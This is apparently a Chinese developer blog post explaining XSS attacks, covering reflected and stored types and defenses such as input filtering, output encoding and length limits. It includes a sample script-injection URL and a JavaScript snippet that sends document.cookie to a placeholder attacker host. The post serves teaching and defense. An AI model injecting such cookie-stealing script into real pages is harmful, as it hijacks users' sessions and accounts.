你們的系統真的安全嗎?你們系統是不是也有這種詭異的情況呢?

這個文章來源靈感是公司的項目在安全檢查的時候,發現了很多 SQL 注入的一些問題還有一些 XSS 攻擊問題,SQL 注入我們都是比較瞭解的,那麼什麼是 XSS 攻擊呢?測試反饋給我的時候我是一臉懵逼呀,現在我們就來說一下什麼是 XSS 攻擊,以及我們怎麼防止它的出現。

什麼是XSS攻擊

我當時聽到 XSS 攻擊的時候是一臉懵,但是,程序員咱們不就是就是解決問題的嘛,於是打開 Chrome ,百度!

百度百科給出的解釋是這樣的:

XSS 攻擊通常指的是通過利用網頁開發時留下的漏洞,通過巧妙的方法注入惡意指令代碼到網頁,使用戶加載並執行攻擊者惡意製造的網頁程序。這些惡意網頁程序通常是 JavaScript ,但實際上也可以包括 Java 、 VBScript 、ActiveX 、 Flash 或者甚至是普通的HTML。攻擊成功後,攻擊者可能得到包括但不限於更高的權限(如執行一些操作)、私密網頁內容、會話和 cookie 等各種內容。

XSS攻擊是Web攻擊中最常見的攻擊方法之一,它是通過對網頁注入可執行代碼且成功地被瀏覽器 執行,達到攻擊的目的,形成了一次有效XSS攻擊,一旦攻擊成功,它可以獲取用戶的聯繫人列 表,然後向聯繫人發送虛假詐騙信息,可以刪除用戶的日誌等等,有時候還和其他攻擊方式同時實 施比如SQL注入攻擊服務器和數據庫、Click劫持、相對鏈接劫持等實施釣魚,它帶來的危害是巨大的,是web安全的頭號大敵。

XSS攻擊類型

  1. XSS 反射型攻擊,惡意代碼並沒有保存在目標網站,通過引誘用戶點擊一個鏈接到目標網站的惡意鏈接來實施攻擊的。

其實反射型 XSS ,也叫非持久型 XSS ,是指發生請求時,XSS 代碼出現在請求URL中,作爲參數提交到服務器,服務器解析並響應。響應結果中包含 XSS 代碼,最後瀏覽器解析並執行。從概念上可以看出,反射型 XSS 代碼是首先出現在URL中的,然後需要服務端解析,最後需要瀏覽器解析之後 XSS 代碼才能夠攻擊。

我們看一下 XSS 攻擊他是怎麼使用 URL 來進行攻擊的。

具體流程:

  • 1給2發送一個惡意構造了Web的URL。
  • 2點擊並查看了這個URL。
  • 惡意頁面中的JavaScript打開一個具有漏洞的HTML頁面並將其安裝在2電腦上。
  • 具有漏洞的HTML頁面包含了在2電腦本地域執行的JavaScript。
  • 1的惡意腳本可以在2的電腦上執行2所持有的權限下的命令。

舉個例子來說就像是這樣的,http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>

  1. XSS存儲型攻擊,惡意代碼被保存到目標網站的服務器中,這種攻擊具有較強的穩定性和持久性,比較常見場景是在博客,論壇等社交網站上,但OA系統,和CRM系統上也能看到它身影,比如:某CRM系統的客戶投訴功能上存在XSS存儲型漏洞,黑客提交了惡意攻擊代碼,當系統管理員查看投訴信息時惡意代碼執行,竊取了客戶的資料,然而管理員毫不知情,這就是典型的XSS存儲型攻擊。

而 XSS 存儲型攻擊,也叫持久型 XSS ,主要是將 XSS 代碼發送到服務器(不管是數據庫、內存還是文件系統等。),然後在下次請求頁面的時候就不用帶上 XSS 代碼了。最典型的就是留言板 XSS。用戶提交了一條包含 XSS 代碼的留言到數據庫。當目標用戶查詢留言時,那些留言的內容會從服務器解析之後加載出來。瀏覽器發現有 XSS 代碼,就當做正常的HTML和JS解析執行。XSS 攻擊就發生了。

這種存儲型攻擊一般就會用來竊取 Cookie,token,賬號和密碼這樣的數據,

就比如說,我們在頁面上寫內容的時候,A發了一篇文字,B回覆的應該是文字纔對,這時候B發送了一段文字,並且在內容裏面嵌入了JS的代碼,這時候B的JS的代碼就會執行,比如在裏面竊取你的Cookie等操作,這些都是有可能存在的。

還有的就是有一些網站,在本應該是圖片的地方他加上了Src,在你無意中惦記圖片的時候,就直接跳轉到某個網站下,這些屬於其實也是屬於XSS攻擊的。

就比如說他要獲取你的Cookie:

var i=document.createElement("img")
document.body.appendChild(i)
i.src = "http://www.hackerserver.com/?c=" + document.cookie

就再圖片的後面給你加上了這個獲取你Cookie的方法,然後你在點擊到這個鏈接的時候,就會把Cookie的信息帶出來了。

XSS攻擊需要有哪些條件

  1. 需要向web頁面注入惡意代碼;

  2. 這些惡意代碼能夠被瀏覽器成功的執行。

也就是說,一旦滿足這條件的時候,就會出現XSS攻擊這種情況,那麼,你的系統安全性將會受到嚴重的破壞。

XSS原理

其實XSS攻擊最主要發生的地方就是我們的HTML中,因爲HTML是一種超文本標記語言,通過將一些字符特殊地對待來區別文本和標記,例如,小於符號(<)被看作是HTML標籤的開始,<title>與</title>之間的字符是頁面的標題等等。當動態頁面中插入的內容含有這些特殊字符(如<)時,用戶瀏覽器會將其誤認爲是插入了HTML標籤,當這些HTML標籤引入了一段JavaScript腳本時,這些腳本程序就將會在用戶瀏覽器中執行。所以,當這些特殊字符不能被動態頁面檢查或檢查出現失誤時,就將會產生XSS漏洞。

我們說完到底什麼是XSS攻擊之後,我們該說一下到底應該怎麼去防範了。

如何防止XSS攻擊

1.入參字符過濾

比如說把輸入的一些不合法的東西都過濾掉,從而保證安全性。如移除用戶提交的的DOM屬性如onerror,移除用戶上傳的Style節點,<iframe>, <script>,<a>節點等

2.出參進行編碼

像一些常見的符號,如<>在輸出的時候要對其進行轉換編碼,這樣做瀏覽器是不會對該標籤進行解釋執行的,同時也不影響顯示效果。例如:對<>做編碼如:"<“用:”<",">“用:”>"來代替。

3.入參長度限制

xss攻擊要能達成往往需要較長的字符串,因此對於一些可以預期的輸入可以通過限制長度強制截斷來進行防禦。

4.純前端渲染

純前端渲染的過程:

(1).瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。

(2).然後瀏覽器執行 HTML 中的 JavaScript。

(3).JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。

在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。

但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。

在很多內部、管理系統中,採用純前端渲染是非常合適的。但對於性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。

以上就是我想給大家講述的內容了,如果你們公司的系統還沒有做過XSS漏洞檢測,那麼你就可以適當的把自己的代碼修改一下了,畢竟我們不是一點JS代碼都不寫的,你說呢?

我是懿,一個正在被打擊卻努力前進的碼農,歡迎大家關注我的公衆號,懿一,每天爲大家送上技術文章,各位看官,你準備好了麼?

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章